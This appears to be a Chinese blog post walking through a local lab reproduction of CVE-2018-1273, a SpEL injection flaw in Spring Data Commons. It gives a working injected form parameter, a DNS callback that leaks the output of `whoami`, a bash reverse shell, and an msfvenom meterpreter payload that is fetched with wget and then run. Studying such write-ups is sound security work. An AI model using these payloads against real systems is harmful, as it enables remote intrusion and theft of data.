Spring Data Commons远程命令执行漏洞(CVE-2018-1273)


Spring Data Commons远程命令执行漏洞

漏洞简述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响范围

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)

Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 to 2.0.5 (Kay SR5)

Spring Data REST 3.0 - 3.0.5 (Kay SR5)

环境搭建

cd /vulhub/spring/CVE-2018-1273
docker-compose up -d

漏洞复现

dnslog

首先打开http://192.168.3.151:8080/users

image-20220507103406340

输入参数抓包

image-20220507103644231

先打开dnslog,随机搞一个dns

image-20220507104638615

构造语句

curl `whoami`.83axbz.dnslog.cn

扔进base64编码

bash -c {echo,Y3VybCBgd2hvYW1pYC44M2F4YnouZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

image-20220507105039963

把这个命令扔进数据包里

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC44M2F4YnouZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=a&repeatedPassword=a

image-20220507105159038

看一下dnslog

image-20220507105211647

构造反弹shell

bash -i >& /dev/tcp/192.168.3.134/4444 0>&1

再base64编码一下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

image-20220507105449493

设置监听

nc -lvvp 4444

把数据包发出去

image-20220507105636857

不知道为啥反弹不过来,换一种方法

先用msfvenom构造一个payload

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.3.134 lport=4444 -f elf > /root/shell.elf

打开msfconsole

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.3.134
run

开启http

python -m SimpleHTTPServer

然后构造上传命令

wget http://192.168.3.134:8000/shell.elf

扔进数据包里上传

image-20220507111530996

上传成功

image-20220507111548952

修改权限然后运行

chmod 777 ./shell.elf
./shell.elf

image-20220507111735854

成功回弹成功!

image-20220507111823424

结束!!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录